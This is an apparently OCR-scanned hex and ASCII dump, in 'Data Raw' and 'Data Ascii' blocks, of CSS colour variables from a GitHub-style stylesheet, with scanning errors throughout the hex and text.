61 6e 73 69 2d 62 6¢ 75 65 2d 62 72 69 67 68 74 3a 20 23 32 31 38 62 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d
6d 61 67 65 6e 74 61 3a 20 23 38 32 35 30 64 66 3b 2d 2d 63 6f

Data Ascii: -color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-
yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-
ansi-magenta: #8250df;--co

Data Raw: 72 3a 20 72 67 62 61 28 32 37 2c 33 31 2c 33 36 2c 30 2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70
7269 6d 61 72 79 2d 73 65 6¢ 65 63 74 65 64 2d 62 67 3a 20 68 73 6¢ 61 28 31 33 37 2¢ 35 35 25 2¢ 33 36 25 2¢ 31 29
3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 73 65 6¢ 65 63 74 65 64 2d 73 68 61 64 6f 77 3a 20 69 6e
736574 20 30 20 31 70 78 20 30 20 72 67 62 61 28 30 2c 34 35 2¢ 31 37 2c 30 2e 32 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62
74 6e 2d 70 72 69 6d 61 72 79 2d 64 69 73 61 62 6¢ 65 64 2d 74 65 78 74 3a 20 72 67 62 61 28 32 35 35 2¢ 32 35 35 2¢
323535 2¢ 30 2e 38 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 64 69 73 61 62 6¢ 65 64 2d 62
67 3a 20 23 39 34 64 33 61 32 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d

Data Ascii: r: rgha(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-sha
dow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-
bg: #94d3a2;--color-btn-

Data Raw: 63 75 73 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 33 70 78 20 72 67 62 61 28 35 2c 38 30 2c 31 37 34 2¢
30 2e 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 63 6f 75 6e 74 65 72 2d 62 67 3a 20 72 67 62
61 28 39 2¢ 31 30 35 2¢ 32 31 38 2¢ 30 2e 31 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 74 65 78
74 3a 20 23 63 66 32 32 32 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 74 65 78
74 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 62 67 3a 2
02361 343065 32 36 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 62 6f 72 64 65 72 3
a20 7267626128 3237 2c 33 31 2c 33 36 2c 30 2e 31 35 29 3b

Data Ascii: cus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgha(9,105,218,0.1);--color-btn-dan
ger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-b
order: rgha(27,31,36,0.15);

Data Raw: 61 63 74 69 76 65 2d 62 67 3a 20 72 67 62 61 28 32 30 38 2c 32 31 35 2c 32 32 32 2c 30 2e 34 38 29 3b 2d
2d 63 6f 6¢ 6f 72 2d 61 63 74 69 6f 6e 2d 6¢ 69 73 74 2d 69 74 65 6d 2d 64 65 66 61 75 6C 74 2d 61 63 74 69 76 65 2d 62
6f 72 64 65 72 3a 20 72 67 62 61 28 30 2¢ 30 2¢ 30 2c 30 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 74 69 6f 6e 2d 6¢ 69 73 74
2d 69 74 65 6d 2d 64 65 66 61 75 6¢ 74 2d 73 65 6¢ 65 63 74 65 64 2d 62 67 3a 20 72 67 62 61 28 32 30 38 2c 32 31 35
2c 32 32 32 2¢ 30 2e 32 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 74 69 6f 6e 2d 6¢ 69 73 74 2d 69 74 65 6d 2d 64 61 6€ 67
65 72 2d 68 6f 76 65 72 2d 62 67 3a 20 72 67 62 61 28 32 35 35 2¢ 32 33 35 2c 32 33 33 2¢ 30 2e 36 34 29 3b 2d 2d 63 6
f6c 6f 72 2d 61 63 74 69 6f 6e 2d 6¢ 69 73 74 2d 69 74 65 6d 2d

Data Ascii: active-bg: rgha(208,215,222,0.48);--color-action-list-item-default-active-border: rgha(0,0,0,0);--color-action-list-it
em-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgha(255,235,233,0.64);--color-
action-list-item-
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Data

Data Raw: 65 75 74 72 61 6¢c 2d 73 75 62 74 6¢ 65 3a 20 72 67 62 61 28 32 33 34 2c 32 33 38 2¢ 32 34 32 2¢ 30 2e 35
29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 63 65 6e 74 2d 66 67 3a 20 23 30 39 36 39 64 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 63
65 6e 74 2d 65 6d 70 68 61 73 69 73 3a 20 23 30 39 36 39 64 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 63 65 6e 74 2d 6d 75
74 65 64 3220 72 67 62 61 28 38 34 2c 31 37 34 2c 32 35 35 2¢ 30 2e 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 63 65 6e 7
42d 73 75 62 74 6¢ 65 3a 20 23 64 64 66 34 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 75 63 63 65 73 73 2d 66 67 3a 20 23 31
61 37 66 33 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 75 63 63 65 73 73 2d 65 6d 70 68 61 73 69 73 3a 20 23 32 64 61 34 34 65
3b 2d 2d 63 6f 6¢ 6f 72 2d 73 75 63 63 65 73 73 2d 6d 75 74 65 64 3a

Data Ascii: eutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-acc
ent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2d
ad4e;--color-success-muted:

Data Raw: 35 35 2c 32 35 35 2¢ 32 35 35 2c¢ 30 2e 39 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 69 6d 65 72 2d 62 6f 72 64
6572 2d 61 63 74 69 76 65 3a 20 23 46 44 38 43 37 33 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 69 6d 65 72 2d 62 6f 72 64 65
72 2d 63 6f 6e 74 72 61 73 74 3a 20 72 67 62 61 28 32 37 2c 33 31 2c 33 36 2c 30 2e 31 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 70
7269 6d 65 72 2d 73 68 61 64 6f 77 2d 68 69 67 68 6¢ 69 67 68 74 3a 20 69 6e 73 65 74 20 30 20 31 70 78 20 30 20 72
67 62 61 28 32 35 35 2¢ 32 35 35 2c 32 35 35 2¢ 30 2e 32 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 69 6d 65 72 2d 73 68 6
164 6f 77 2d 69 6e 73 65 74 3a 20 69 6e 73 65 74 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 30 38 2¢ 32 31 35 2¢ 32
3232 2c 30 2e 3229 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 69 6d 65 72

Data Ascii: 55,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--
color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rghba(208,
215,222,0.2);--color-primer

Data Raw: 61 6¢ 65 2d 67 72 61 79 2d 34 3a 20 23 38 63 39 35 39 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6c 65 2d 67 72
6179 2d 35 3a 20 23 36 65 37 37 38 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 67 72 61 79 2d 36 3a 20 23 35 37
36 3036 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 67 72 61 79 2d 37 3a 20 23 34 32 34 61 35 33 3b 2d 2d 63 6f 6¢
6f 72 2d 73 63 61 6¢ 65 2d 67 72 61 79 2d 38 3a 20 23 33 32 33 38 33 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 67
726179 2d 39 3a 20 23 32 34 32 39 32 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 62 6¢ 75 65 2d 30 3a 20 23 64
64 66 34 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 62 6¢ 75 65 2d 31 3a 20 23 62 36 65 33 66 66 3b 2d 2d 63 6f
6c 6f 72 2d 73 63 61 6¢ 65 2d 62 6¢ 75 65 2d 32 3a 20 23 38 30

Data Ascii: ale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a5
3;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--
color-scale-blue-2: #80

Data Raw: 3a 20 23 35 63 32 32 30 30 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 6f 72 61 6e 67 65 2d 39 3a 20 23 34
3731 37 30 30 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 72 65 64 2d 30 3a 20 23 46 46 45 42 45 39 3b 2d 2d 63 6f 6¢
6f 72 2d 73 63 61 6¢ 65 2d 72 65 64 2d 31 3a 20 23 66 66 63 65 63 62 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 72 65
64 2d 32 3a 20 23 66 66 61 62 61 38 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 72 65 64 2d 33 3a 20 23 66 66 38 31
3832 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 72 65 64 2d 34 3a 20 23 66 61 34 35 34 39 3b 2d 2d 63 6f 6¢ 6f 72 2d
736361 6¢ 65 2d 72 65 64 2d 35 3a 20 23 63 66 32 32 32 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 72 65 64 2d
36 3a 20 23 61 34 30 65 32 36 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63

Data Ascii: : #5¢2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-
scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-
6: #a40e26;--color-sc

Data Raw: 74 3a 20 72 67 62 61 28 32 35 35 2¢ 32 35 35 2c 32 35 35 2c 30 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 61 67 65 2d
68 65 61 64 65 72 2d 62 67 3a 20 23 66 36 66 38 66 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d 61 72 6b 65 74 69 6e 67 2d 69 63
6f 6e 2d 70 72 69 6d 61 72 79 3a 20 23 32 31 38 62 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d 61 72 6b 65 74 69 6e 67 2d 69
63 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 3a 20 23 35 34 61 65 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 64 69 66 66 2d 62 6¢ 6f 62
2d 61 64 64 69 74 69 6f 6e 2d 6e 75 6d 2d 74 65 78 74 3a 20 23 32 34 32 39 32 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 64 69 66 66
2d 62 6¢ 6f 62 2d 61 64 64 69 74 69 6f 6e 2d 66 67 3a 20 23 32 34 32 39 32 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 64 69 66 66 2d
62 6¢ 6f 62 2d 61 64 64 69 74 69 6f 6e 2d 6e 75 6d 2d 62 67 3a

Data Ascii: t: rgha(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marke
ting-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-
blob-addition-num-bg:

Data Raw: 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 69 6e 76 61 6¢c 69 64 2d 69 6¢ 6¢ 65 67 61 6C 2d 74 65
78 74 3a 20 23 66 36 66 38 66 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78
2d 69 6e 76 61 6¢ 69 64 2d 69 6¢ 6¢ 65 67 61 6¢ 2d 62 67 3a 20 23 38 32 30 37 31 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65
747479 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 63 61 72 72 69 61 67 65 2d 72 65 74 75 72 6e 2d 74 65 78 74 3a 20
2366 36 66 38 66 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 63 61 72
7269 61 67 65 2d 72 65 74 75 72 6e 2d 62 67 3a 20 23 63 66 32 32 32 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79
6c 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 73 74 72 69 6e 67 2d 72 65 67

Data Ascii: ttylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettyl
ights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-
string-reg

Data Raw: 6d 69 72 72 6f 72 2d 6¢ 69 6e 65 6e 75 6d 62 65 72 2d 74 65 78 74 3a 20 23 35 37 36 30 36 61 3b 2d 2d 63 6f
6c 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 63 75 72 73 6f 72 3a 20 23 32 34 32 39 32 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63
6f 64 65 6d 69 72 72 6f 72 2d 73 65 6¢ 65 63 74 69 6f 6€ 2d 62 67 3a 20 72 67 62 61 28 38 34 2c 31 37 34 2¢ 32 35 35 2¢
30 2e 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 61 63 74 69 76 65 6¢ 69 6e 65 2d 62 67 3a 20 72
67 62 61 28 32 33 34 2c 32 33 38 2c 32 34 32 2¢ 30 2e 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d
6d 61 74 63 68 69 6e 67 62 72 61 63 6b 65 74 2d 74 65 78 74 3a 20 23 32 34 32 39 32 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63
6f 64 65 6d 69 72 72 6f 72 2d 6¢ 69 6e 65 73 2d 62 67 3a 20

Data Ascii: mirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,
174,255,0.4);--color-codemirror-activeline-bg: rgha(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--
color-codemirror-lines-bg:

Data Raw: 64 72 6f 70 64 6f 77 6e 2d 62 6f 72 64 65 72 3a 20 23 34 32 34 61 35 33 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65
63 6b 73 2d 64 72 6f 70 64 6f 77 6e 2d 73 68 61 64 6f 77 3a 20 72 67 62 61 28 32 37 2c 33 31 2c 33 36 2c 30 2e 33 29 3b
2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 72 6f 70 64 6f 77 6e 2d 68 6f 76 65 72 2d 74 65 78 74 3a 20 23 66 36 66
3866 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 72 6f 70 64 6f 77 6e 2d 68 6f 76 65 72 2d 62 67 3a 20 23 34
3234 61 35 33 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 72 6f 70 64 6f 77 6e 2d 62 74 6e 2d 68 6f 76 65 72 2d
7465 78 74 3a 20 23 66 36 66 38 66 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 72 6f 70 64 6f 77 6€ 2d 62 74
6e 2d 68 6f 76 65 72 2d 62 67 3a 20 23 33 32 33 38 33 66

Data Ascii: dropdown-border: #424a53;--color-checks-dropdown-shadow: rgha(27,31,36,0.3);--color-checks-dropdown-
hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #{6f8fa;--color-
checks-dropdown-btn-hover-bg: #32383f
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Data

Data Raw: 37 64 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6e 65 2d 77 61 72 6e 69 6e 67 2d 6e
75 6d 2d 74 65 78 74 3a 20 23 64 34 61 37 32 63 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6C 69 6€ 65 2d
776172 6e 69 6e 67 2d 62 67 3a 20 72 67 62 61 28 31 32 35 2c 37 38 2c 30 2c 30 2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72
2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6e 65 2d 63 6f 6d 6d 61 6e 64 2d 74 65 78 74 3a 20 23 35 34 61 65 66 66 3b 2d
2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6C 69 6€ 65 2d 73 65 63 74 69 6f 6 2d 74 65 78 74 32 20 23 34 61 63
32 36 62 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 61 6e 73 69 2d 62 6¢ 61 63 6b 3a 20 23 32 34 32 39 32 66 3b 2
d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 61 6e 73 69 2d 62 6¢C

Data Ascii: 7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);-
-color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24
292f;--color-checks-ansi-bl

Data Raw: 30 32 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 68 6f 76 65 72 2d 6d 75
74 65 64 3a 20 72 67 62 28 30 20 30 20 30 20 2f 20 37 30 25 29 20 30 20 30 20 30 20 32 70 78 20 69 6e 73 65 74 3b 2d
2d 63 6f 6¢ 6f 72 2d 61 76 61 74 61 72 2d 62 67 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 76 61 74 61 72
2d 62 6f 72 64 65 72 3a 20 72 67 62 61 28 32 37 2¢ 33 31 2c 33 36 2¢ 30 2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 76 61
746172 2d 73 74 61 63 6b 2d 66 61 64 65 3a 20 23 61 66 62 38 63 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 76 61 74 61 72 2d
73 74 61 63 6b 2d 66 61 64 65 2d 6d 6f 72 65 3a 20 23 64 30 64 37 64 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 76 61 74 61 72 2
d 63 68 69 6¢ 64 2d 73 68 61 64 6f 77 3a 20 2d 32 70 78 20 2d 32

Data Ascii: 02);--color-mktg-btn-shadow-hover-muted: rgh(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-
avatar-border: rgha(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-a
vatar-child-shadow: -2px -2

Data Raw: 61 3a 20 23 38 32 35 30 64 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 6d 61 67 65 6e 74 61 2d 62 72 69 67
68 74 3a 20 23 61 34 37 35 66 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 63 79 61 6e 3a 20 23 31 62 37 63 38 33 3b
2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 63 79 61 6e 2d 62 72 69 67 68 74 3a 20 23 33 31 39 32 61 61 3b 2d 2d 63 6f 6¢ 6f
72 2d 62 74 6e 2d 74 65 78 74 3a 20 23 32 34 32 39 32 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 62 67 3a 20 23 66 36
66 38 66 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 62 6f 72 64 65 72 3a 20 72 67 62 61 28 32 37 2¢ 33 31 2¢ 33 36 2c 30
2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 3
7 2c 33 31 2c 33 36 2¢ 30 2e 30 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d

Data Ascii: a: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--
color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px O r
gba(27,31,36,0.04);--color-

Data Raw: 61 32 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 64 69 73 61 62 6¢ 65 64 2d 62 6f 72 64
6572 3a 20 72 67 62 61 28 32 37 2¢ 33 31 2c 33 36 2¢ 30 2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69
6d 61 72 79 2d 66 6f 63 75 73 2d 62 67 3a 20 23 32 64 61 34 34 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d
6172 79 2d 66 6f 63 75 73 2d 62 6f 72 64 65 72 3a 20 72 67 62 61 28 32 37 2c 33 31 2¢ 33 36 2¢ 30 2e 31 3529 3b 2d 2
d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 66 6f 63 75 73 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 33
70782072 67 62 61 28 34 35 2c 31 36 34 2¢ 37 38 2c 30 2e 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d
61 72 79 2d 69 63 6f 6e 3a 20 72 67 62 61 28 32 35 35 2c 32 35 35 2C

Data Ascii: a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-
primary-focus-border: rgha(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-
primary-icon: rgha(255,255,

Data Raw: 32 37 2c 33 31 2c 33 36 2c 30 2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f
76 65 72 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 37 2c 33 31 2¢ 33 36 2c 30 2e 31 29 3b
2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6 76 65 72 2d 69 6e 73 65 74 2d 73 68 61 64 6f 77 3a 20 69
6e 7365 74 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2¢ 32 35 35 2¢ 32 35 35 2¢ 30 2e 30 33 29 3b 2d 2d 63
6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 63 6f 75 6e 74 65 72 2d 62 67 3a 20 72 67 62 61 28 32
35 35 2¢ 32 35 35 2¢ 32 35 35 2¢ 30 2e 32 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 73 65 6¢ 65 6
3746564 2d 74 65 78 74 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63

Data Ascii: 27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgha(27,31,36,0.1);--color-btn-danger-hover-inset-sh
adow: inset 0 1px 0 rgha(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-
danger-selected-text: #ffffff;--c

Data Raw: 74 69 6f 6e 2d 6¢ 69 73 74 2d 69 74 65 6d 2d 64 61 6e 67 65 72 2d 61 63 74 69 76 65 2d 62 67 3a 20 23 46 46
45 42 45 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 74 69 6f 6e 2d 6¢ 69 73 74 2d 69 74 65 6d 2d 64 61 6e 67 65 72 2d 68 6f 76
65 72 2d 74 65 78 74 3a 20 23 63 66 32 32 32 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 77 69 74 63 68 2d 74 72 61 63 6b 2d 62
67 3a 20 23 65 61 65 65 66 32 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 77 69 74 63 68 2d 74 72 61 63 6b 2d 62 6f 72 64 65 72 3a
2023 61 66 62 38 63 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 77 69 74 63 68 2d 74 72 61 63 6b 2d 63 68 65 63 6b 65 64 2d 62 6
7 3a 20 23 64 64 66 34 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 77 69 74 63 68 2d 74 72 61 63 6b 2d 63 68 65 63 6b 65 64 2d
68 6f 76 65 72 2d 62 67 3a 20 23 62 36 65 33 66 66 3b 2d 2d 63 6f

Data Ascii: tion-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-
track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-che
cked-hover-bg: #b6e3ff;--co

Data Raw: 20 23 30 39 36 39 64 61 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 63 65 6e 74 2d 6d 75 74 65 64 3a 20 72 67 62 61 28
3834 2c 31 37 34 2¢ 32 35 35 2¢ 30 2e 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 63 65 6e 74 2d 73 75 62 74 6¢ 65 3a 20 23
64 64 66 34 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 75 63 63 65 73 73 2d 66 67 3a 20 23 31 61 37 66 33 37 3b 2d 2d 63 6f 6¢
6f 72 2d 73 75 63 63 65 73 73 2d 65 6d 70 68 61 73 69 73 3a 20 23 32 64 61 34 34 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 75

63 6365 73 73 2d 6d 75 74 65 64 3a 20 72 67 62 61 28 37 34 2c 31 39 34 2c 31 30 37 2c 30 2e 34 29 3b 2d 2d 63 6f 6¢
6f 72 2d 73 75 63 63 65 73 73 2d 73 75 62 74 6¢ 65 3a 20 23 64 61 66 62 65 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 74 74 65 6€
74 69 6f 6e 2d 66 67 3a 20 23 39 61 36 37 30 30 3b 2d 2d 63 6f

Data Ascii: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f
37;--color-success-emphasis: #2dad4e;--color-success-muted: rgha(74,194,107,0.4);--color-success-subtle: #dafbel;--
color-attention-fg: #9a6700;--co

Data Raw: 67 62 61 28 32 37 2c 33 31 2c 33 36 2¢ 30 2e 31 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 69 6d 65 72 2d 73 68 61
64 6f 77 2d 68 69 67 68 6¢ 69 67 68 74 3a 20 69 6e 73 65 74 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 32
3535 2c 32 35 35 2¢ 30 2e 32 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 69 6d 65 72 2d 73 68 61 64 6f 77 2d 69 6e 73 65 74
3a 2069 6e 73 65 74 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 30 38 2c¢ 32 31 35 2c 32 32 32 2¢ 30 2e 32 29 3b 2d
2d 63 6f 6¢ 6f 72 2d 70 72 69 6d 65 72 2d 73 68 61 64 6f 77 2d 66 6f 63 75 73 3a 20 30 20 30 20 30 20 33 70 78 20 72 67
62 61 28 39 2c 31 30 35 2¢ 32 31 38 2c 30 2e 33 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 62 6¢ 61 63 6b 3a 20 23
3162 31 66 32 34 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d

Data Ascii: gha(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgha(255,255,255,0.25);--color-primer-shado
w-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-bl
